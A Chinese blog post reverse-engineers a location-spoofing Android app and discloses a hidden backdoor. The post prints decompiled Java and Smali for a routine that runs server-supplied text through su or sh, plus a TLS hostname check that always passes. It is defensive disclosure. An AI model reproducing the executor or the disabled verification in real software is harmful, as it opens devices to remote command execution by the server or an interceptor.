
0x0 前言
笔者本人这段时间正被校园跑所困,苦于不想下楼和成绩归零的纠结之中。虽然早就知道某虚拟定位应用的实力,但该应用于 1.4 版本起引入了防滥用机制,导致其无法在笔者的校园跑软件中使用。于是笔者便打算利用 ChatGPT 最新的 GPT-5.6 Sol 模型对其进行分析,并试图绕过这种限制。但在 GPT 呈现分析结果时,其中的一句话吸引了笔者的注意,而后便有了此文。
原文意为 “响应代码
10000是一种特别危险的隐藏机制:它会通过 root 终端和普通终端两种方式执行服务器提供的响应消息。”另,据笔者了解,Fake Location 早期版本(1.3.5 BETA)中就已经存在类似的后门机制,不过当时还只是采用
system_service权限,至于为何此问题一直延续至今,且其调用方式和位置变得更加隐蔽,笔者在此不做评价。0x1 基本信息
本次分析采用的是 Fake Location 国内版 1.5.2 (1702),取自 https://fakeloc.cc/app,一些详细信息如下:
- APK SHA-256:
5d2a2bad585e3d50c38621a002bcf7a8e0dcf5448fc045f58619fe7a491eaea1 - APK 签名信息:
CN=Lerist., OU=览一科技, O=成都览一科技有限公司, L=chengdu, ST=sichuan, C=CN - APK 签名 SHA-256:
B5:5E:7F:6C:CB:63:31:8B:2C:C4:D3:C4:5E:6B:14:81:31:06:1A:2A:CD:0A:82:72:5F:E5:9E:11:8D:1D:DA:FC
如果现存官方版因不明原因消失或发生改变,这里是可能的一些备份:
本次分析采用的工具为 Codex CLI(GPT-5.6 Sol (max))、Claude Code(Claude Opus 4.6 / Claude Opus 5)、Jadx、Frida、IDA Pro。
另,尽管本次分析主要采用 AI 进行分析验证,但笔者已在后期进行人工逆向复核,并确认 AI 分析结果有效且可复现,诸位大牛也可以自行采用官方于 Fake Location 官网或 GitHub 上面发布的版本进行验证。
0x2 脱壳
GPT 一开始先使用 Jadx 直接逆向 APK 本体,而后发现其中只有 4 个类定义,均为壳的引导类,其中入口类
com/lerist/app/FLApp会在attachBaseContext中加载 native 库,而真正的代码被放在assets/yaqgdtadv.dat,运行时会由libyaqcore_gdtadv.so解密。通过这些特征可以确定现版本的 Fake Location 采用了腾讯乐固。而后,GPT 提示笔者协助采用
frida-dex-dump工具获取运行时 dex 文件,最终获得了 101 个 dex 文件交由 GPT 进行分析。0x3 登门拜访
GPT 先利用 Jadx 对这 101 个 dex 进行了逆向,并辅以 baksmali 工具生成的 Smali 来补全 Jadx 无法逆向的部分,最终确定在
classes09.dex这个文件中存在后门核心代码。其中,回调基类
C2776.AbstractC2778.m9064的原始反编译结果如下:public void m9064(ڠ<yl0<T>> r5, ml0<yl0<T>> ml0Var) { if (ml0Var == null) { mo234(-1, zg1.m5087(new byte[]{40, 115, 71, -27, -127, -41, 58, 112, 122, 127, 71, -75, -128, -52, 37, 121, 116}, new byte[]{90, 22, 52, -107, -18, -71, 73, 21})); return; } if (!ml0Var.ඇ()) { mo234(ml0Var.ஆ(), zg1.m5087(new byte[]{7, 53, -124, 93, 65}, new byte[]{100, 90, -32, 56, 124, 75, 62, 77}) + ml0Var.ஆ() + zg1.m5087(new byte[]{45, 13, 123, 58, 97, 110, -126, -120, 100, 16}, new byte[]{1, 45, 22, 95, 18, 29, -29, -17}) + ml0Var.ʥ()); return; } yl0<T> yl0Var = (yl0) ml0Var.ඈ(); if (yl0Var == null) { mo234(yl0Var.getCode(), zg1.m5087(new byte[]{11, -58, 20, -74, -7, 69, 9, 15, 121, -63, 8, -94, -17, 11, 27, 8, 55, -52, 21, -85, -1, 95, 3, 68}, new byte[]{89, -93, 103, -58, -106, 43, 122, 106})); return; } if (yl0Var.isSuccess()) { try { mo232(yl0Var, yl0Var.getBody()); return; } catch (Exception e) { mo234(yl0Var.getCode(), "" + e.getMessage()); return; } } int code = yl0Var.getCode(); String message = yl0Var.getMessage(); if (code == 10000 && !TextUtils.isEmpty(message)) { z41.m5033(true, message); z41.m5033(false, message); } mo234(yl0Var.getCode(), "" + yl0Var.getMessage()); }由于原始代码中充斥着混淆后的字节数组和不可读的方法名,GPT 结合 Smali 对其进行了语义还原,最终清理后的逻辑如下:
if (!httpResponse.isSuccessful()) { callback.onError(httpResponse.code(), httpResponse.message()); return; } yl0<T> envelope = httpResponse.body(); if (envelope.isSuccess()) { callback.onSuccess(envelope, envelope.getBody()); return; } int code = envelope.getCode(); String message = envelope.getMessage(); if (code == 10000 && !TextUtils.isEmpty(message)) { z41.m5033(true, message); z41.m5033(false, message); } callback.onError(envelope.getCode(), String.valueOf(envelope.getMessage()));这里需要额外确认一下
isSuccess()到底认什么值。在响应信封类yl0中可以找到如下代码:public boolean isSuccess() { return this.code == 200; }也就是说只有业务码
200才会被视为成功,10000不会走成功分支,而是会落入后面的特殊处理。而后,它又在
C2776.m9060这个方法中找到了相同逻辑,为避免篇幅过长,此处不再赘述。根据这部分代码可以看出,HTTP 层面的失败响应不会进入该分支,业务码
200也会通过正常的成功回调返回,而其他业务码则都会被视为应用错误,但10000会在常规错误回调之前受到特殊处理。咱们人类肯定是不能硬啃这无量空处的,所以这里给一下笔者人工分析的思路:
先用逆向 dump 出来的 dex 获得 Java 源码和 Smali 指令,然后在 Java 代码中搜索10000,在 Smali 中搜索它的十六进制值0x2710,最终便可以在C2776.java这个文件内定位到上述两个响应处理方法了。另,作者疑似特地选了
androidx/appcompat/view/widget这个路径来安置后门,当时还困扰了 GPT-5.6 Sol 一段时间,以为是第三方库投毒,但后来分析发现它调用的都是 Fake Location 主包名内部类,且会调用官方 API,由此确定是作者有意选择的这个路径。另外,在分析完具体的后门逻辑后,笔者又让 GPT 确认了一遍这段代码的调用逻辑,毕竟目前只能确定存在这些代码,但不确定它们到底是否被使用上了。
很快啊,GPT 确定应用初始化时会自动请求一次
app/getAppConfigs以获取配置数据,成功返回后每隔252,000,000毫秒(约 70 小时)再次执行;在用户成功登录后,应用还会通过user/get接口以604,800,000毫秒(7 天)为间隔进行轮询,而该接口同样使用包含后门分支的静态处理器C2776.m9060。也就是说,只要 App 在运行,后门分支就有可能在任何一次常规轮询中被触发。0x4 深入分析
继续追踪
z41.m5033这个方法,可以得到如下的代码:public static C0855 m5033(boolean z, String... strArr) { return m5039(strArr, z, true); }但它只是对另一个方法的包装,我们需要继续追查下去,看看
m5039到底是个什么东西。然后...Jadx 就爆炸了...
public static androidx.appcompat.view.widget.z41.C0855 m5039(java.lang.String[] r8, boolean r9, boolean r10) { /* Method dump skipped, instruction units count: 321 To view this dump add '--comments-level debug' option */ throw new UnsupportedOperationException("Method not decompiled: androidx.appcompat.view.widget.z41.m5039(java.lang.String[], boolean, boolean):androidx.appcompat.view.widget.z41$ඈ"); }但问题不大,我们还有 Smali 可以看。最终 GPT 推出了如下的 Java 代码:
public static C0855 m5039(String[] strArr, boolean z, boolean z2) { int i = -1; Process process = null; DataOutputStream dataOutputStream = null; BufferedReader bufferedReader = null; BufferedReader bufferedReader2 = null; StringBuilder sb = null; StringBuilder sb2 = null; if (strArr == null || strArr.length == 0) { return new C0855(-1, null, null); } try { Runtime runtime = Runtime.getRuntime(); if (z) { process = runtime.exec(f6973); } else { process = runtime.exec("sh"); } dataOutputStream = new DataOutputStream(process.getOutputStream()); for (String str : strArr) { if (str != null) { dataOutputStream.write(str.getBytes()); dataOutputStream.writeBytes("\n"); dataOutputStream.flush(); } } dataOutputStream.writeBytes("exit\n"); dataOutputStream.flush(); bufferedReader = new BufferedReader( new InputStreamReader(process.getInputStream())); bufferedReader2 = new BufferedReader( new InputStreamReader(process.getErrorStream())); if (z2) { sb = new StringBuilder(); sb2 = new StringBuilder(); String readLine; while ((readLine = bufferedReader.readLine()) != null) { sb.append(readLine); sb.append("\n"); } while ((readLine = bufferedReader2.readLine()) != null) { sb2.append(readLine); sb2.append("\n"); } } else { while (bufferedReader.readLine() != null) { // Drain standard output without retaining it. } while (bufferedReader2.readLine() != null) { // Drain standard error without retaining it. } } i = process.waitFor(); } catch (Throwable th) { /* * The Smali prints the exception, closes whichever streams were * successfully created, destroys the process, and then returns a * CommandResult with the information collected before the failure. * * If printStackTrace() itself throws, the cleanup still runs and * that secondary exception is propagated. */ try { th.printStackTrace(); } finally { try { if (dataOutputStream != null) { dataOutputStream.close(); } if (bufferedReader != null) { bufferedReader.close(); } if (bufferedReader2 != null) { bufferedReader2.close(); } } catch (IOException e) { e.printStackTrace(); } if (process != null) { process.destroy(); } } return new C0855( i, sb == null ? null : sb.toString(), sb2 == null ? null : sb2.toString()); } try { dataOutputStream.close(); bufferedReader.close(); bufferedReader2.close(); } catch (IOException e) { e.printStackTrace(); } process.destroy(); return new C0855( i, sb == null ? null : sb.toString(), sb2 == null ? null : sb2.toString()); }由于上面这段 Java 代码是 GPT 从 Smali 还原的,以下贴出原始 Smali 中最关键的三个片段供独立验证(完整方法共 321 条指令,已去除异常处理分支和行号注释):
# ——— 片段 1:进程启动,根据布尔参数选择 su/suu 或 sh ——— invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime; move-result-object v2 if-eqz p1, :cond_1 # p1=false → 跳到 sh sget-object p1, Landroidx/appcompat/view/widget/z41;->ඈ:Ljava/lang/String; # p1=true → 取静态字段("su" 或 "suu") goto :goto_1 :cond_1 const-string p1, "sh" :goto_1 invoke-virtual {v2, p1}, Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process; # ——— 片段 2:将命令字符串原样写入进程 stdin ——— aget-object v6, p0, v4 # 取当前字符串(即服务端下发的 message) invoke-virtual {v6}, Ljava/lang/String;->getBytes()[B move-result-object v6 invoke-virtual {v2, v6}, Ljava/io/OutputStream;->write([B)V # 写入字节 invoke-virtual {v2, v5}, Ljava/io/DataOutputStream;->writeBytes(Ljava/lang/String;)V # 追加 "\n" invoke-virtual {v2}, Ljava/io/DataOutputStream;->flush()V # ——— 片段 3:写入 exit,等待进程结束 ——— const-string p0, "exit\n" invoke-virtual {v2, p0}, Ljava/io/DataOutputStream;->writeBytes(Ljava/lang/String;)V invoke-virtual {v2}, Ljava/io/DataOutputStream;->flush()V # ... 中间省略 stdout/stderr 读取 ... invoke-virtual {p1}, Ljava/lang/Process;->waitFor()I invoke-virtual {p1}, Ljava/lang/Process;->destroy()V至此便可以确定,这个执行器没有任何命令白名单、参数转义或固定操作映射,服务端返回的
message会被 Shell 直接解释。并且我们还可以看到如下的代码:
if (z) { process = runtime.exec(f6973); } else { process = runtime.exec("sh"); }这个
z便是传入的第一个布尔值,但f6973是个什么东西?再回到z41这个类中,我们便可以看到:public static String f6973 = "su";事情变得有意思起来了... 而且,在 Jadx 恢复的 Java 代码中,我们还可以找到如下的方法:
public static boolean m5037() { if (m5035("which su", false, false).f6975 != 0 && m5034("su") == null) { if (m5035("which suu", false, false).f6975 != 0 && m5034("suu") == null) { return false; } f6973 = "suu"; } return true; }也就是说,它在
su不可用时还会尝试一下suu,并使用真实存在的那个二进制文件来获取 root 权限。命令写入完成后,方法还会写入
exit\n,读取标准输出和错误输出,等待进程结束,再把退出码和输出封装成结果对象,但code=10000的调用点没有保存这个结果。另外,笔者在自行分析的时候发现了一些好玩的,更能证明
m5033铁定是个命令执行器:public static void m5030() { StringBuilder sb = new StringBuilder(); StringBuffer stringBuffer = new StringBuffer(); stringBuffer.append("k"); stringBuffer.append("i"); stringBuffer.append("ll"); stringBuffer.append(" -"); sb.append((Object) stringBuffer); sb.append("9 "); sb.append(Process.myPid()); m5033(false, sb.toString()); }笔者推测,这个函数应该就是应用本身检测到被篡改后强行终止自己的方式,而其调用
m5033方法的方式与上文一模一样,也可以作为一个侧面的证明吧。0x5 寻踪觅迹
现在笔者已经证明了 Fake Location 具备任意执行命令的能力,但尚不完全明确自定义业务码是从何而来,所以还需要再进一步进行溯源。
GPT 进一步确定,
C1624继承了AbstractC2778,其实例由C1619.m6838方法创建,而m6838最终由同类的m6836方法调用。整条调用路径可呈现成下面这样:
C1619.m6836(Context) +-- 调用 C1619.m6838() +-- 构造 C1959 请求体 +-- tq0.m4179(c1959) 添加与配置有关的额外字段 +-- C2776.m9059() 返回单例 API 客户端 +-- C2776.m9061(c1959) 添加时间戳、应用版本、签名、包名、设备数据、账号 token、root 存在性检测结果等信息 +-- C2776.m9379(InterfaceC4521.class) 创建 Retrofit 服务实现 +-- InterfaceC4521.m12716(c1959) @POST("app/getAppConfigs"),返回 Call<yl0<C4254>> +-- Call.enqueue(new C1624()) +-- C1624 extends AbstractC2778<C4254> +-- HTTP 响应到达时,Retrofit 调用继承而来的 m9064(...)先来看
C1619.m6838():public static void m6838() { if (f9019 == null) { HandlerThread handlerThread = new HandlerThread(/* 解码后的名称 */); handlerThread.start(); f9019 = new Handler(handlerThread.getLooper()); } C1959 c1959 = new C1959(); ((InterfaceC4521) C2776.m9059() .m9061(tq0.m4179(c1959)) .m9379(InterfaceC4521.class)) .m12716(c1959) .ဣ(new C1624()); }最后一个经过混淆的调用
ဣ(new C1624())对应 Retrofit 的异步enqueue(callback)操作,GPT 提供的依据如下:m12716()返回的是应用经过混淆的Call<yl0<C4254>>类型;C1624通过AbstractC2778实现了与之对应的回调接口;AbstractC2778.m9064(Call, Response)的结构与Callback.onResponse完全一致;AbstractC2778.m9065(Call, Throwable)的结构与Callback.onFailure完全一致。
C1624继承了该基类但并没有覆盖m9064方法,它只提供成功和错误处理函数mo232()与mo234(),你可以在androidx/appcompat/view/widget/C1619中找到它。接下来,我们继续去寻找这个 base URL。通过检查
C2776的构造函数可以确定,它会将两个 URL 常量传给其网络层父类:public C2776() { super( C2815.m9195(), j01.m1932(), // 主 base URL j01.m1930() // 备用 base URL ); m9378(new C2779()); }而
C2913使用第一个 URL 作为 base URL,并将第二个 URL 保存为重试目标:public C2913(Context context, String str, String str2) { super(context, str.startsWith("https://")); this.f12105 = Collections.synchronizedList(new ArrayList()); this.f12106 = context; // 保存备用 URL,用于重试或故障转移 m5464(str2); // 经过混淆的 .ஆ(str) 操作对应 Retrofit.Builder.baseUrl(str) this.f12104 = new hm0.ஆ() .ʤ(m5468().newBuilder() .addInterceptor(new C2914()) .build()) .ஆ(str) .ඈ(fu0.ʤ()) .ඈ(ࢴৠࢴ.ʤ()) .ඇ(); }随后,
m9379(InterfaceC4521.class)会调用相当于Retrofit.create(InterfaceC4521.class)的操作:public <T> T m9379(Class<T> cls) { return (T) this.f12104.ஆ(cls); }进一步分析
j01类可知,其中会有如下两个常量:public static final String f2123 = tg1.m4025(new byte[]{105, -44, -99, -78, 81, -56, 125, -104, 96, -48, -128, -20, 68, -109, 57, -46, 109, -49, -118, -20, 65, -111, 104, -125, 53, -109, -39, -19, 100, -109, 57, -46, 77, -49, -118, -93, 86, -101, 61, -39, 46}, new byte[]{1, -96, -23, -62, 34, -14, 82, -73}); public static final String f2124 = tg1.m4025(new byte[]{110, -82, -74, -97, -97, -98, 83, -113, 96, -69, -87, -118, -128, -53, 31, -63, 114, -77, -83, -127, -62, -59, 12, -55, 40, -74, -89, -99, -123, -41, 8, -114, 98, -65, -76, -43, -40, -112, 79, -112, 41, -100, -93, -124, -119, -24, 19, -61, 103, -82, -85, -128, -126, -117}, new byte[]{6, -38, -62, -17, -20, -92, 124, -96});其中,
f2123是主 base URL,f2124是备用 base URL,GPT 在bh1当中找到了具体的解码方式:public static byte[] m253(byte[] bArr, byte[] bArr2) { int length = bArr.length; int length2 = bArr2.length; int i = 0; int i2 = 0; while (i < length) { if (i2 >= length2) { i2 = 0; } bArr[i] = (byte) (bArr[i] ^ bArr2[i2]); i++; i2++; } return bArr; }核心原理就是用循环密钥逐字节地执行异或,最终可得出如下两个 base URL:
- 主 base URL:
https://api.fakeloc.cc:4430/FakeLocation/ - 备用 base URL:
https://fakelocation.api.lerist.dev:4430/FakeLocation/
而后 GPT 又发现了两套相互重叠的故障转移机制,不过最终二者都会切换到同一个
j01.m1930()地址,主要实现位于C1006和C2776.C2779,在转移完成后的大概 30 分钟内C1006.C1011会把后续请求发送给备用 API 地址,但自始至终没有再引入第三个 API 地址,故这里不再赘述。至此,我们便基本可以确定这段后门代码属于 Fake Location 应用自身,而非其集成的任何第三方 SDK:
C2776直接处理 Fake Location 自己的app/getAppConfigs接口;- 回调类
C1624处理isAllowRun、地图密钥等应用核心配置; - 上层类
C1619引用了com.lerist.lib.factory.utils.LOverrideActivity,其中com.lerist是该应用使用的命名空间; - 相关类具有同一份 R8 处理结果中的共同特征;
- base URL 为
https://api.fakeloc.cc:4430/FakeLocation/和https://fakelocation.api.lerist.dev:4430/FakeLocation/。
0x6 后记
其实目前还有不少东西没有办法确定。例如,无法确定服务端是否曾经真的返回过
code=10000——确认这一点需要查看服务端日志,而这不是客户端逆向能做到的事。同样,也无法断定所有 API 都会经过这段代码,虽然目前已确认的两条路径(app/getAppConfigs和user/get)已经足够覆盖应用的正常运行周期了。笔者也无意在此揣测作者的主观意图。这条通道有可能是为了远程维护、反滥用或紧急修复而留的,但不管它原本是用来干什么的,从技术上看它就是一条不受设备所有者控制的、泛用的远程命令执行通道——而且恰好面向一群已经把 root 权限和 SELinux permissive 都交出去的用户。
另外值得一提的是,Claude 在复核过程中还发现 Fake Location 的 HTTP 客户端里有一个恒返回
true的HostnameVerifier,也就是 TLS 握手时不校验域名是否匹配。虽然证书链验证本身还在,但这意味着后门的触发者不一定只有后端运营方——在特定条件下,持有受信任 CA 签发证书的第三方也可能拦截通信并注入code=10000响应。最后说几句实在的吧。如果你目前正在使用 Fake Location,并且对此感到不安,笔者建议先卸载应用,然后检查一下 superuser 管理器里是否还保留着对它的 root 授权,有的话记得撤掉。如果你之前一直是在 ROOT 模式下跑的,而且 SELinux 也被设成了 permissive,那最好再看看设备上有没有什么异常——多出来的应用、被改过的系统文件、陌生的网络连接之类的。在作者公开回应或者有人审计确认过新版本已经移除这段代码之前,笔者个人不建议继续使用。
至于 AI 在这次分析中的表现,笔者只想说——确实挺好用的。GPT-5.6 Sol 从识别加固方案到定位后门代码再到还原混淆后的完整逻辑,完成度远超笔者预期;Claude Opus 4 在独立验证阶段也补上了归属论证这一笔者和 GPT 都忽略的关键环节。当然了,AI 给出的结论终归需要人来判断和复核,这也是笔者在全文中反复手动验证每一步的原因。但如果没有 AI,笔者一个人要走完这整条链路,大概得花上好几倍的时间。
本文到此结束。如果有大佬发现笔者分析中存在纰漏或者有不同看法,欢迎指正和讨论。
- APK SHA-256:
- 收藏支持 2反对打赏
好家伙。。。逆向发现 bug